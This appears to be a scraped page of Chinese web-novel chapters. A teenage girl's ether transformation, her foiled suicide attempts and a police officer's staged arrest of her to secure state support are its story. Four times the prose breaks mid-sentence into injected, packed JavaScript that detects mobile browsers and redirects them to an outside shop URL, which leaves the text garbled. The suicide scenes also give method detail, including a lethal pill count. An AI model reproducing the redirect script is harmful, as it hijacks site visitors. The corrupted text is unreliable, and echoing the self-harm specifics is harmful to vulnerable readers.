在那之后,她就靠着各处开来的病假条过着半蹲半读的生活,将自己的□□彻底锁在了曾经住着两个人的小公寓里,放任精神陷入了虚无缥缈的各类动画作品里。生活倒也说得上是平平淡淡。 更何况做这些动画作品的粉丝现在还能赚钱呢。 近些年,以小姑娘为受众的作品总是喜欢推一种叫“谷子”的商品:其中品类众多,比如亮闪闪的纸片,比如印得漂漂亮亮的徽章。不过这些总归都不是什么贵价的东西,就算是学生也是可以通过省吃俭用而攒下一批小小的谷子藏品。 江雪的发家之路却由此正式开始。 最初她只是个普通的谷子买家——先看看自己最近喜欢什么角色,再看看他有没有什么看得过眼的谷子。一旦看上就开大量大量地买,看腻了就倒手出掉回血,甚至逐渐涉足牵涉人数与金额都更大的一些活动。在这样反复进行的的买卖之间,原本就在她血脉里沉睡着的商业基因逐渐活跃了起来。 她自恃不是个黄牛,只是利用天生的商业嗅觉来捕捉未来海景房的风向,提前买入再高价抛售,在以兴趣为导向的谷圈像个专业投资人。 但既然是当做职业,就肯定会有一些只要做了就能让利润翻倍的灰色手段。江雪就精于此道,卷款跑路、小号自杀、人间蒸发三部曲玩得是炉火纯青,这为她的资本积累带来了不少好处。而那些不明就里的小妹妹看江雪如此豪气,总能一下拍出好几十个贵得离谱的小铁皮小纸片摆阵,嘴上便都和抹了蜜似的,左一个“老师”,右一个“饿饿”,把江雪哄得高高兴兴的之余,她不知不觉间也攒起了自己小金库,别的不说,至少经济情况是得到了大大的改善。 但这样平稳的日子很快再次戛然而止。 这次,是她患了病了。 病症的最早期症状只是一道生在腰上的黑色细纹。当时她单纯以为那是一根粘在皮肤上的毛发,或者是无意间在哪里蹭到的脏东西,并没把它放在心上。可在那道黑色细纹以裂纹的形状扩散后,她才逐渐慌了神。 是我的身体要裂开了吗?她打开终端试图搜索与此有关的信息。可这次连她的终端都失常了,悬浮在半空的屏幕刺啦作响,不时闪过几道扭曲的光,江雪几乎看不清屏幕上的字。她战战兢兢地等了快半小时,终端的状态才终于稳定下来——只不过屏幕还是只亮了一半,明暗对比强烈得像是一种她特别爱吃的夹心饼干。 终端坏掉了该怎么办? 她再次试图通过终端求助,可是困扰着她的这个问题实际上只是所有中学都必须确保每个学生掌握的现代常识。一通搜索下,她除了对她逃课过多的警告,以及让她必须立刻返回学校的提醒以外一无所获。 在这样极度的孤立无援下,她转而向那些通过各种渠道认识的人们求助,最终得到了 药。 她把毛巾挂在肩上,从柜子上拿过一个贴着标签药瓶,用力扣了扣,发现里面已经空了,便烦躁地把它扔在了地上,一下先开了掀开了已经粘在身上的睡裙,颤抖着抚摸上腰间已经有一枚硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她本以为这只是逢场作戏,在一切平息之后自己就能继续正常的生活。可不知道是入戏太深,还是自己的精神在这样多重压力下终于出现了问题,在又一次割腕摆拍后,她呆呆地看着自己已经止血的手腕,还有胳膊上干涸的血迹,再不知道自己该做些什么了。 一个可怕的想法出现在了她的脑海里。 她看向了那些从校医那里开来的镇定剂,小小的白色药片还剩下十片。 这些药物的效果很好,据说三颗就可以让以太人类都睡个好觉。这十粒一次下去,估计可以让瘦弱的江雪当场离开这个美丽的世界。 但正当她下定了决心要这么做时,那些看似无辜的小药片却连药带盒一起不见了。 她翻遍了家里的每一个角落,一无所获,最后只能咬着牙吃下了这个闷亏,再做打算。 在那之后,她打算尝试上吊这种简单粗暴的自杀方式。 可惜这也不能成行。 当她刚把自己挂上绳去时,那绳子就突兀地断在了当中。她屁股着地,狠狠地摔了一跤,这让她很长一段时间里看到梯子和椅子就会感到屁股蛋上一阵酸痛,那些绳子也因为质量不过关而被她永久拉黑。 当然,她的自杀并不只有这两次,但她的每次尝试都会因为一些突兀发生的怪事而被迫中止,但她从未放弃。 直到今天,在看着已经放好了热水的浴缸时,她突然想割腕。 热气氤氲,水里她倒入了自己最喜欢的茉莉味起泡剂。一朵一朵白色的泡沫浮在水面,倒映出她捏在手里水果刀刃上的寒光。 江雪轻轻划向自己的手腕。 在看到那薄薄的皮肤被划破,鲜红的血渗出的画面时,她赶紧把刀放回了浴缸旁边,不断平复着自己猛然加速的心跳。 她意识到自己在害怕。 她害怕死亡。 她害怕选择了死亡的自己。 可是选择已经做出,所需的一切都已经准备好了,这种微小的挣扎又有什么意义呢? 她深吸一口气,去拿来了最后两颗镇静药。但也就是这一转身的功夫,那本来放在浴缸旁边的水果刀就不翼而飞了。 她又一次失败了。 她气得把浴缸旁边的茉莉味洗发水扔在了地上。 滑腻的洗发水随着一声巨响流满了整个地板,茉莉的香味一时浓到了让人头疼的程度。 脑袋里的神经抽着疼,就像是迅速爬满了地板的那些乳液灌进了她的脑子。 今天我一定要死,我没法再活下去了。 她这么想着,在服下了镇静药后,把出水量调到最大,躺进了浴缸,在逐渐漫过脸颊的温水和蒸腾的茉莉味中陷入了昏睡。 但是现在的事实就是,不知道是谁,不仅关掉了水龙头,还把她浴缸里的水都放完了,就剩下她一个人带着一身陌生的茉莉柑橘味,在浴缸里睡了快两个小时。 她越想越生气,拿着吸饱了水的浴巾就冲去了阳台。 30. 来去踢皮球 “水里有一股柑橘茉莉味?!”陈琳叫道,语气之冲吓得王睦友扭过头看她,一时大意就牵动了脖子上的扭伤。他发出一声哀嚎。 陈琳有些心虚地看了他一眼:这位居委会的热心小哥好歹是在自己家里受的工伤,可眼下她要说的话那还是不能咽回去的。 “那我知道为什么你醒的时候浴缸里没水了。” 她怒斥道:“因为那水泡发了我的浴球和地板啊!” “那我上哪里知道啊!”江雪激烈反驳,“地板被水泡坏了,你该去找开发商要钱啊!” “但水是你转移过来的啊!” “谁看见了?谁录下来了?你有证据吗?我看你啊,就是没胆子告开发商,在这里欺负我未成年人不懂法吧!” “你是真不懂法啊?!” 两人你来我往,互不相让。在唇枪舌战中,坐在一边围观的吉老爷子叹了口气,随手削了个自己带来的苹果,切了一半给他左手边的王睦友,剩下的一半则递给了他右手边的季井仪。 “这可什么时候是个头啊……”他低声感叹,低头削起了第二个苹果。 这场骂战的发生地是邺京光华医院,岩鑫区的三甲病院。三天前,当协警机器人把几乎晕过去的江雪和歪着脖子的王睦友送来这里时,陈医生还对这里抱着一丝吃不到葡萄说葡萄酸的不贫,扬言三甲医院只是用高科技器械带动了它们的名声,在医术上却没有保障。但在三天后的现在,不论是已经恢复神智的江雪,还是脖子上缠了好几圈但行动无碍的王睦友都向她证明了,高科技社会器械强就是医术强。 按理来说,现在人都被救下来了,没有人受到真正致命的伤害,应该就可以平稳进入happy ending的阶段了。可历史上无数事例却都证明了同一个道理:闯祸不可怕,给祸事收尾才是最可怕的。 江雪很显然是这句话的忠实拥蹩。 “那你就告我啊!”她嚣张地靠在枕头上,两手一摊。 “反正我没钱!你就算告了我,也是我爸赔钱!你要是有本事从那老登手里扣几个子儿出来,我还要谢谢你呢!” “你……你给我等着!我一定……” “都别吵了!”季井仪啃着苹果呵斥道,“你们谁都不用给钱!” 她指指点点:“你们就为这点小事吵到申请调解?你们就直接说,能不能接受居委会和派出所提出的建议吧?说好了我就回去结案了。” 家里地板被季井仪请来的家政公司修好而一分钱没出的陈琳羞愧地低下了头;因为邻居家地板被季井仪请来的家政公司修好而不用赔钱的江雪满脸不情愿地扭过了头。虽然两方的心情都不怎么样,但终归是停止了争吵。 毕竟眼前让她们别吵了的这位的确是整个事件里唯一承受了经济损失的。 季井仪对此心满意足,一口吞下了手里剩余的苹果块。 “好了,”她说,“那这次调解就算结束了。我们不如来谈谈真正重要的问题……” “是啊!还有更重要的事!”陈琳一下反应了回来,在季井仪欣慰的目光里接过了话头。 “为了救你才切了的我家的防盗窗!”她说,“这总得你赔了吧!” 在季井仪的唉声叹气里,停战协议撕毁,战火再开。 事实上,对收尾感到头痛的不只是季井仪。王睦友也是第一次真正认识到了什么叫做民事纠纷。 居委会这个机构在这类事件里总是处于一个很尴尬的位置,往小了说它是调解的第一线,具体要怎么做都得由居委会拿第一个主意;但往大了说,居委会实际上也只是能给出调解的建议,就算涉事多方没一个打算听,那居委会的调解员也没法摁着他们的头听话。 就比如这次的事件。 吉老爷子经验丰富。在江雪被送去医院后,他即刻就联系了江雪的父亲,把事情如实告知。 甚至基于平日里从江奶奶那边听到的小道消息,老人家还故意把情况往坏了说,一会儿要进ICU了,一会儿医院在找家属好像要签个什么什么通知书的,真情实意到让一旁等小机器人往自己脖子上缠绷带的王睦友都发愣。要不是陷入精神失常的江雪正在他们对面里的诊室里上蹿下跳,他都要以为是自己记忆混乱了。想来世界上应该不会有什么正常父母在这种情况下不来探望吧? 可江爸爸毫无疑问就是这么个奇人。他先是无比焦急,直说自己手上的事结束后就过来处理,然后就挂了通讯,之后就别说到场了,连通讯都没主动来一个。吉老爷子倒是主动去问了,可也只得到“快了快了”的回答。 “别白费力气了。”江雪这么评价道,在医院的治疗下,此时她的体质和精神都终于安定了下来。 “在你们把麻烦的事解决之前,”她面无表情地说,“他是不会来的。” 她还在为失去的亲情黯然神伤,王睦友则是为之后可能会有的行政灾难头皮发麻。 眼前的小姑娘显然是没意识到,之后她所要经历的——不论是登记以太人类身份的流程,还是对她已经造成的灾害进行评估,还有将她体内原来的终端更换为以太人类专用型号的手术——在没有监护人的情况下都是寸步难行的。 甚至因为她的体质变化,她原先持有的、属于普通人类的医保都不能再继续使用了。也就是说她必须自己先行垫付这笔高昂的医疗费用,等到以太人类身份的登记流程走完了才能再走以太人类的特殊医保报销。可小姑娘现在,如她自己所说,身无分文。 这可怎么办。他头痛地问舅爷,难道真要出现什么现代社会逼死未成年人的恶性事件吗? “怎么可能!这种事情我们见得多了,自然是有办法的。”吉老爷子义正辞严,“你多待一段时间就知道该怎么办了。” “那该怎么办呢?” 吉老爷子又给江爸爸打了个电话,还是无人接听,疑似是被拉黑了。 他叹了口气。 “拖吧。”他说。 “拖到他于心不忍的那天。” 王睦友大受震撼。 “不行啊!”他反对道,“这也太消极了!就没有积极一点的办法吗?” 吉老爷子的神情一时有些尴尬。 他看看王睦友,看看终端屏幕上显示的【对方在忙】,又看看江雪。 他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265402|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那只能先给人小姑娘放出去,等她闹出点大事儿,再看看研讨会管不管了。” 这可真是太积极了。 但道理确实也就是这个道理,王睦友啃着苹果想。江雪的事情尴尬就尴尬在她没法让以太研讨会来关注她——以上说的那些流程,如果是研讨会亲自督办那就都是一眨眼全都能顺畅办完的。 可偏偏小姑娘就是卡在了一个不上不下的地方:她的确是以太化了,而且她的以太化来得奇怪又迅猛,这为她的精神带来了极大的压力并且进一步引起了以太化的异常。但因为发现及时,所以最后没有造成什么大损失;她的确持有着可以将一定范围内的某样物品,甚至自己的某个状态都投影到范围之外的可怕特性,但她体内的以太含量并不高,所以哪怕是王睦友这样的符文超级初学者都能轻松切断本体和投影之间的链接,让特性失效。 江雪身上的许多特殊性让她需要帮助,可是她的监护人却不愿意伸出援手,同时她还不够特殊到让研讨会来帮助她,困境就这样产生了。 那现在作为居委会,他们只有两种选择:要么等待她的监护人回心转意来照顾小姑娘;要么就是怂恿她去干点能上新闻的大事直接一劳永逸地解决日后所有的吃住问题。 但这哪个都不靠谱啊! 王睦友叹了口气。一边江雪和陈琳还在就赔偿这件事吵个不停;一边吉老爷子已经削好了第二个苹果,又给他塞了一半;再一边,季井仪……不是,季井仪呢? 他叼着苹果扭头查看,却在哪里都没看到季井仪的身影。他问舅爷,老人家也只说她刚才接到个通讯,好像很急地出门去了,估计是不想再在这儿耗时间了。 那现在这烂摊子就真得我们两个人收拾了。王睦友无奈地说,只换来吉老爷子不以为然地哼声。 “本来就该是我们爷俩的事。”他说,“小季啊,那个新来的小姑娘一看就不会在我们这儿待多久。你也不能指望她在这件事上出多少力。” 王睦友心说这不是一目了然的嘛。 打从一开始她就明显是冲着符文来的。虽然不知道吉老爷子到底对她说了些什么,但从她这副精神萎靡的样子看,肯定不是什么好事。 正当他打算和吉老爷子讨论一下他们俩今天怎么崩撤卖溜时,病房的门就被怒气冲冲地推开了。 季井仪阴着脸回来了。 她明显情绪不佳,连身后的病房门都没关,走廊上医生护士们的脚步声和小机器人的滚轮声响成一片。 “江雪。”她说,“我有事要问你。” 她严肃的神情十足可怕,吓得正在争吵的陈琳和江雪都不由自主地噤了声。陈琳甚至还颇有眼力见地向后挪了一下,给季井仪腾出和江雪对话的最佳位置。 季井仪也不墨迹,她直接走到江雪床前,随后银蓝色的手铐出现在了她的手中。江雪还没反应回来,就听见咔哒一声,她的双手竟已经被手铐紧紧铐住。 “跟我走一趟吧。”她说。 “你涉嫌参与走私案。走私对象是……” 她顿了一下,像是在确认什么。 “从研讨会流出的违禁药品。” 31. 快速解开结的最好办法 “我没有!”江雪大声反驳。 “你凭什么凭空污人清白!” 季井仪不为所动,拷在江雪手上的手铐紧了一点。 “是啊,”王睦友也在一旁帮江雪说好话,“这种指控还是太严重了点。” 他说:“现在违禁药品问题那么厉害,但凡牵涉进去一点点就……” 他循循善诱:“您看,江雪年纪还这么小……总不能让她后半辈子都……” 然后他在季井仪刀子一样的目光里选择了闭嘴。 但这究竟是一个极其严重的指控。人类经常会有一个不好的倾向:对于非常遥远的问题,人们往往能够大肆批判,百无禁忌;可当这个问题就真实存在于身边时,它越紧迫反倒就会变得越让人难以启齿,到最后连需要对它提出建议的人都会首鼠两端。 违禁药物就是这么个问题。 不知道是因为以太化的影响,还是以太学所引领的从科技到普通生活的一系列变化都过于迅猛,自第四次极夜结束以来,不论是人类还是非人类,精神状态都十分堪忧。同时极夜后的重建压力、理应作为新领袖的以太研讨会却爆出了涉及伦理底线的科学丑闻,这些事件无一不是对百废待兴的新社会的挑战。以至于当各地的管理机构终于能腾出手整治民生时,那些会对人体、精神造成高伤害,却同时有着高成瘾性的所谓“违禁药物”早就大行其道。即便是现在,面对着针对违禁药物的高压管理,都仍然有大批人贪图高昂的利润,从而继续维系着这样的黑色产业。 更何况还是什么从以太研讨会流出的违禁药品……一听就很糟糕啊! “你的体质变化,发生在你身边的事情,”季井仪说,“已经证明了你与这起走私事件有关了。” 她盯着江雪满是惊恐的脸:“你的以太化进程太不正常了。” “怎么就不正常了?!”江雪反问,她像一只应激的小猫那样,吓得陈琳又向后退了几步。 “你凭什么说我有问题?你又知道什么……” “让我们来复盘一下吧。”季井仪又紧了一下手铐。 “先从现象开始。首先是你将装着镇静剂的药瓶、悬挂在玄关的绳子、还有划破了你的皮肤的小刀都转移到了陈小姐的家里——他们的共同点就是都是即将夺走你生命的凶器。但是因为它们自体并不含有以太,而转移它们的通道在达成了你潜意识里的目的后就已经关闭,所以协警机器人才没能在陈琳,陈小姐家检测出异常的以太波动。” 她继续说道:“这样一来,你在从窗台跳下时将陈小姐家的防盗窗转移过来接住自己的这一行为也可以解释通了。因为……” 江雪叫道:“是啊!我从来就不想死啊!” 她气喘吁吁:“都是因为我的病!我没钱继续买药了!可是我不想病死!这又有什么错呢?!我是走投无路,才……” “这就是我真正想指出的东西了,请稍安勿躁。”季井仪说。 “你在通过服药压制自己以太化的进程,这点可以从前两天你入院时的体检报告上看出来。可是市面上,没有任何一种拥有压制以太化效果的药物是被允许流通的。” 江雪的脸色一下白了,她争辩着:“因为我真的没听说过以太化这种事情啊!”。可季井仪根本不听她的自白,只是冷淡地说:“唯一能达成这种效果的,就是从以太研讨会流出的特殊药物’溶素‘了。” “我不知道以太化了要去找谁!也没有人愿意帮助我告诉我应该怎么做!” “这都是学校里教过的通识。也就是说,你在涉及这样非法交易的同时,并没有按照义务教育法规定的那样正常到校。而且,据我调查,你之前有过好几笔信用不怎么样的交易记录……混迹这种灰色地带的你,也的确很有接触到和违禁药物有关的交易吧?” 江雪的眼睛睁大了。 “还有什么想说的吗?”季井仪问。她象征性地牵引了一下手中的绳索,于是铐在江雪手腕上的手铐便被她拉向了一边。 “没有的话,就和我走一趟吧。” 这发展有些太快了。 别说王睦友和陈琳了,就连见多识广的吉老爷子都一下愣在了那里。短短几句话间,江雪遇上的事就从民事纠纷上升到了刑事案件,严重程度直接就从法院要怎么让江爸爸出钱赔偿,变成了江雪要被判几年。 “我……我……” “小季啊,”吉老爷子赶紧来打圆场。 他满脸堆笑,悄悄地把空气中连着手铐的绳索向下压了压。 “应该也没到那么糟糕的情况吧?你看,小江她估计也是什么都不懂,被人骗了才会碰那种东西的。说到底,她也是受害者啊!” “是不是受害者也不是现在能判断的事情。”季井仪寸步不让,“必须先和我回去。” “呃,可是现在治疗还没结束。” “可以在公安局里进行后续的治疗。” “可是这个,这个要经过监护人的同意吧……” “监护人?”季井仪瞥了已经说不出话了的江雪一眼,露出了一抹冷笑。 王睦友对这个表情有着极其糟糕的直觉,好像眼前的警察小姐是终于决定了要用什么刑具处决犯人一样。于是他也赶紧拦道:“怎么说还是要先联系上江雪的父……” “你们觉得这位监护人还会在意她吗?”季井仪大声问道。 她甚至转过身,眯起眼睛对着江雪那已经被震惊、愤怒占据的脸露出一个像是挤出来的恶意笑脸。 “正是因为你是一个自暴自弃的,无法分辨对错的,放弃了学业、牵涉进违禁药物交易,甚至已经进行过事实诈骗的,丢人到家了的未成年人。” 她维持着嘴角的弧度。 “所以你才会被你的家人放弃,因为这一切都是你应得的。” 江雪突然爆发出了尖锐的哭声。安装在病床边的以太探测仪随着她情绪的激动而发出了"滴滴"的警报声,走廊上也连带着一阵嘈杂。 【检测到失控以太生物存在】 【请立刻采取行动】 机器人启动的声音,和人声混杂在一起,脚步声,滑轮擦过光滑地面的声音乱作一团,就像是火焰过境后落下的狼藉烟灰。 她变了色的眼睛里浮现出了半个黑色的圆环,无数黑色的纹路从她的肢体末端开始向上攀爬,像是即将裂开的瓷器。 “才不是的!”她尖叫起来,“才不是因为这个!才不是因为……” 她剩下的哭叫没有任何人能听见。 无数银蓝色的细线瞬间从空气中生出,它们互相交汇、缠绕,变作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265403|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个将她囚在里面的茧形牢房。于是所有的声音、所有的挣扎都在银蓝色的海洋里,变成了被卷入海中的泡沫,再没有一丝踪影。 【警报解除】 季井仪对着赶来的医生和看护小机器人点了点头,又转过身,对着还没反应回来的王睦友等人说道:“那我的工作就到此结束了。江雪由我带走,剩下等待解决的纠纷还请等调查结果出来再……” “你不能这样把她带走!”王睦友激烈反对道。 他拦住了准备离开的季井仪:“这一没有证据,二没有逮捕许可的,就把活生生的一个人带走吗?是不是有点太过分……” “有什么过分的呢?”季井仪问,转手将延展系统的界面展示出来。 “她刚才想袭击我。”她说,“失控的以太人类,再加上袭警……已经完全足够让我将她移交给以太研讨会了。” 这段叙述中唯独遗漏了一样她刚才一直强调的东西。王睦友却没有放任它就此消失。 “那么涉嫌参与违禁药品交易呢?”他问,“你刚才一直就是在拿这个罪名刺激她啊,难道一直都只是你捏造的吗?我们都看见了……” “到底有没有关联,就等研讨会的调查结果吧。” 王睦友语塞。于是季井仪便绕过他,向着门外走去。赶来的值班医生和护工小机器人见这里并不是他们能说上话的地方,便都早早识趣地散去,为她和跟在她身后的茧状牢笼留出了足够的通行空间。 “可是根本没有人可以为她说些什么啊!就算她是清白的……” “如果她真如自己所言的那样无辜,那她很快就会被放回来的。但是对于这样的特殊对象,研讨会肯定会为她安排之后的一切——不论是变更身份流程上的辅助,还是后续的心理治疗、强制回到学校……都会在研讨会的安排下有序进行。” 她最后停了下来,回过头看着王睦友,和已经反应回其中关窍而拉住自己侄孙的吉老爷子。 “你们愿意和公安部门举报我不规范执法就去吧。”她说。 “我想不仅是你们,就连这里的监控也肯定录下了我的所言所行。但这对我来说都无关紧要,毕竟这件事里最重要的是……” 她头也不回地走了出去,只留下最后的一句话仍然停留在空荡荡的病房里。 “不能指望她的监护人会提供给她任何帮助,不是吗?” 季井仪憋着一股气,保持着面无表情直到走出医院。然后她腿一软,几乎瘫坐在路边。 她摸着胸腔里砰砰直跳的心脏——她刚才紧张到要昏过去,但总算是撑住了,让她最终得以带着江雪离开。 “对不起。”她低声道歉,扶上身边装着江雪的监牢,“用这种手段把你带出来,只是为了借你的□□用一下。” 陷入昏迷的江雪肯定是不能回答她的。 但即便是醒着的,八成也是不会接受这个道歉的。 像是为了平衡自己的心虚,季井仪又深呼吸了几次,低声说道:“看在我们算是双赢的份上……你肯定不会怪罪我的吧?” 但这件事估计很快就会传到家里那些个神通广大的人耳朵里吧,自己又要怎么才能应付过去呢? 她终于为自己冲动之下的即兴表演感到懊恼了,蹲在街边痛苦地呻吟了起来。 32. 冰山冰山,上小下大 “诶?这位季警官真是个狠人啊。” 孟襄露出一个狡黠的笑容,顺手自来熟地揽住王睦友,一副哥俩好的样子。 他问:“真的假的?怎么会有人想着用涉嫌参与违禁药品交易的罪名来逼人袭警,从而解决对方没有成年人帮忙的困境啊?这思路怎么看都不像真的。” 王睦友向旁边指了指。 “不信你问她。”他说。 顺着他手指的方向,江雪正满心欢喜地从裘诺手里接过卷了油条咸蛋黄的饭团。可能是听见了这边的议论,她迫不及待地对孟襄点头:“小王哥说的都是真的!” 她说:“我们街道上来的那个新警察,她真的用了这种离谱的理由骗保诶!虽然我是受益人就是了,诶嘿。” 她做了个鬼脸,美滋滋地对光辛饭店里的几人挥挥手:“那我先去上学了哦!等我放学回来再细说吧!” “要是等你回来,那热腾腾的一手消息可都凉透了!”孟襄不满地嚷嚷。随即他打开了终端,自言自语:“难得这么个奇事……我可得赶紧记下来,找个地方投稿。” 王睦友不知道该对此作何评价,只能礼节性地微笑。 就像季井仪所说的那样,过了没几天江雪就被放了出来。据她说是受了好一顿教育,在她答应会洗心革面重新做人后,又签了几份保证书,然后才在一堆身上印着研讨会菱形标志的小机器人的护送下回了家。研讨会自然而然地接手了江雪留下的所有问题,并且留下了督促她重新融入社会的小机器人(包括但不限于帮她收拾房间适应新身体的保姆机器人,帮助她回归学习生活的辅导机器人),看得王睦友都惊叹居然还有这种级别的社会保障。 这下反倒显得表现最离谱的季井仪才是最神机妙算的那个了。 “反正最后皆大欢喜就好了!”裘诺高兴地说, “结果好就是一切好。总之江雪没被抓走,那不就是万事大吉吗?来来来,今天庆祝一下,我馄饨里多放了虾。” 她给两位客人一人端来一碗小馄饨,在王睦友“可你今天价格不也涨了吗”的叨咕声里,露出了一个无辜的笑容。 她对江雪一直抱有同情之情。 在江奶奶去世的那天,吉老爷子示意她暂时拖住江雪,方便大人先处理一下老人家的后事时,她就感到了一种熟悉的窒息感,和自己听闻婶婶在外地去世时的感觉一模一样。 她和婶婶相处的最后几年其实并不怎么愉快。她上了年纪的婶婶变得相当神经质,对裘诺非常严格,几乎认定她就是一个不成器的小姑娘。到最后,她甚至干脆利落地甩下一句看着裘诺这么没出息就来气,她要去散散心,就带上了自己的行李离开了邺京,留下刚成年的裘诺和没人照看的光辛饭店。 再之后没多久,裘诺就听说了婶婶的死讯。 亲人的死打了她个措手不及,但比悲恸来得更快的是现实的压力。她那时候刚从高等学校毕业,本来就想着在婶婶的光辛饭店里做个传菜员混混日子,可随着婶婶的消失,饭店的运营便像山一样压在了她的身上。她从小就在饭店里长大,对这些事务不说十分熟悉也算是有个七八分眼熟,可要真要她自己一个人做起来又是另一番难度。她几乎被这样的压力压垮,也多亏是有吉老爷子和几个熟客街坊帮衬着,她才坚持着终于让光辛饭店恢复运营。 可江雪还是个小学生,她与江奶奶的关系远远比裘诺和她的婶婶的关系亲密。 那她该多难过啊。 在光辛饭店的出血大盒饭后,她本想着在那之后时常关注江雪的情况,却没想到小姑娘在那之后就大门不出二门不迈。别说照顾她了,连能见上她一面,听到点和她有关的消息都像是太阳从西边起来了。 而当她这两天再见到江雪时,已经快上高中的女孩子都在辅导机器人的陪伴下,一脸阴云地站在光辛饭点的窗口前买去学校路上吃的早点了。震撼之余,裘诺是由衷地为这个终于算是开启新生活的小姑娘高兴。 “而且江雪也只是误食了一些违禁药品,还来不及出现严重的成瘾现象……这更是一件大好事啊!” “而且回来的也很快啊。”王睦友感叹。 “虽然知道研讨会好像有在邺京的分办公室,但是真就两天就回来了呀……效率真高,不愧是研讨会。” “那也就是这两年才有的办公室吧。”裘诺说,“好像说是为了应对在邺京越来越泛滥的违禁药物?” 真是好事啊。她和王睦友几乎是瞬间达成了共识,只有孟襄对此保持了沉默。 裘诺以为他是意识不到这个问题的重要性,强调说:“最近我看了好多有关那种东西的报道啊。这人也太坏了,就为了那么些钱,把一个个家庭搞得妻离子散、家破人亡的,不怕遭报应吗?” 这个问题当然没有答案,也没有人在说出这样的问题时真的只是希望要一个答案。王睦友连连点头称是,孟襄则笑了起来。 “那可不是’那么些钱’就能描述的东西。”他说。 “那不然呢?”裘诺看向他,“和人命相比多少钱都只能被形容成‘那么些钱’吧?” “嗯……不好说呢。也许参与这些不法交易的人都是那种事不关己高高挂起的类型吧。” “那这不就是把‘没良心‘换个说法吗!” 裘诺双手叉腰,义愤填膺:“谁的命都不是能和这种物质相提并论的东西啊。” “谁说不是呢。”孟襄附和道,“但也不能太小瞧物质的吸引力啊。” 裘诺的目光一下警惕起来,而王睦友也开始重新审视孟襄。 孟襄立刻惊慌地摆手。 “不是!”他否认道,“你们别这么看着我啊!我可从来不违法乱纪的!我只是说!这些不法分子可能其实没有我们想象的那么难理解!擅自轻视他们是要吃大亏的!” “可是我们又不一定会和他们打交道。”王睦友指出。 “我要是看到这样的嫌疑人我一定报警。”裘诺坚决地表达了立场,“然后把饭店门加厚几层……万一他的同伙打击报复我呢!” “但是不可否认!”孟襄大声说,“犯罪分子都很会隐藏自己。只有等到受害者放松警惕,他才有可能一击得手。” 他说:“你看,江雪不就是轻信了所谓的朋友,才会沾上违禁药品的吗。” 这例子是真的很合时宜。 王睦友和裘诺一下就哑火了。他们俩你看看我,我看看你,最后还是王睦友小声憋出一句:“但是江雪是未成年人……本来阅历就不太……” “你可别了吧。”孟襄冷哼一声,端起茶水喝了几口。 “人家江雪可是大黄牛。”他说,“倒买倒卖我们三个加在一起估计都没她经验丰富,你别小看人家中学生了。” “可是这也是因为江雪她当时正好处在一个脆弱的状态吧?”王睦友说。 “你想,自己的身体又出了问题,终端好像又不好用了……现在谁能离开终端啊!那她可不就慌了神了。” “可是这样的一个小奸商,肯定是不会信任随便一个认识的人的。” 孟襄补充说:“一定是他们平日里就有不错的交情,而这就是伪装的重要性。” 王睦友这下是真的哑口无言了。 孟襄似乎对自己的战果很满意。他点点头:“所以我才觉得把这些卖药的看做无法理解的人是很危险的——人家都理解你,你却完全不理解他们!这不就是敌在暗我在明吗!” 王睦友盯了他志得意满的脸一会儿,才憋出一句:“你怎么那么懂啊。” 孟襄理直气壮:“因为写过软文。” 那这肯定是一篇伟大的文章呢。 裘诺拍拍王睦友,意思是你别较真了,随后轻巧地换了个话题:“不过研讨会的保障措施真的做得很不错呢。知道江雪的精神状况不稳定,还给指派了一个很有名的心理医生。” “有名的心理医生?”孟襄明显来了兴趣,他打开终端,在里面加了几笔。 “裘姐你是怎么知道的?” “那肯定是江雪和我说的呀!”裘诺惊叫。 她颇为自豪地抬起头:“我和江雪可是很聊得来的呢!她对这个心理医生很满意。哦!我记得她还和我说过,这个医生好像曾经是以太研讨会的精英,后来出来单干出了名声,现在就专门接一些研讨会推过来的病人。” “……曾经隶属以太研讨会?” “嗯哼。” 裘诺也打开终端,想给孟襄找出江雪发给自己的那个心理医生的资料。但她的消息框实在是繁忙又纷杂,垃圾消息与每天街坊私下里找她定餐的消息混在一起,比废纸篓还要废纸篓。 “我找找……”她说,“我记得,好像是叫猫……帽……还是矛……” “茂铭心理健康咨询工作室。”王睦友说。 “哦对对对!茂铭!这个名字太绕口了!”裘诺一拍脑瓜,开始跟孟襄介绍起来,“听说是名声很好……等等?!” 裘诺一下反应回来了。她扭过头,难以置信地看着王睦友。 “小王你又是怎么知道的?”她惊恐地问,“难道江雪也告诉你了?!不应该啊!她说是只告诉我一个人的!” “首先,这可能只是一种礼貌的话术。”王睦友干巴巴地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 